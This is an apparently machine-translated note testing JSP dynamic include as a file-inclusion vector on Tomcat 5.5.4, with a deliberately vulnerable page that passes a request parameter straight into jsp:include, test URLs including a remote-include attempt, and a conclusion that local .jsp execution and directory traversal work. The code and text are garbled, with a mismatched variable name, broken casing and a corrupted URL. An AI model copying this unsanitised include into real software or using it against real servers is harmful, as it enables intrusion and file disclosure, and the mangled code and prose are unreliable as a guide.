Include JSP file

Two methods are available for JSP files:

1. jsp include pseudocommands, such as: <% @ include file = "footer. jsp" %> cannot be dynamically called using variables?

2. jsp: Include tag, for example, <JSP: Include page = "<% = test %>" Flush = "true"/> can dynamically include files. Let's test this.

Test code: Apache Tomcat/5.5.4 win2000

Test. jsp

<%

String body = request. getparameter ("test ")

%>

<JSP: Include page = "<% = test %>" Flush = "true"/>

Hi. jsp

<%

Out. Print ("Hi, jeck ");

%>

We submit:

Http: // localhost/jspshell/test. jsp? Test = Hi. jsp

Hi.jspsuccessfully executes the output hi,jeck. now we change hi.jspto hi.txt and submit:

Http: // localhost/jspshell/test. jsp? Test10000hi.txt

The image store does not have any output. we press the right button to check that the original code has the hi.txtcode, and hi.txt is not executed.

Remote File: Submit http: // localhost/jspshell/test. jsp? Test = http: // xxx/X. jsp

This is also not acceptable.

Summary:

Use of JSP dynamic inclusion files:

1. Execute the local. jsp file [the suffix cannot be txt or other, and other parts are not tested :)]

2. Cooperate with./or./violent File Content

3. remote files cannot be used.

Refer:

Http://www-128.ibm.com/developerworks/cn/java/j-jsp04293/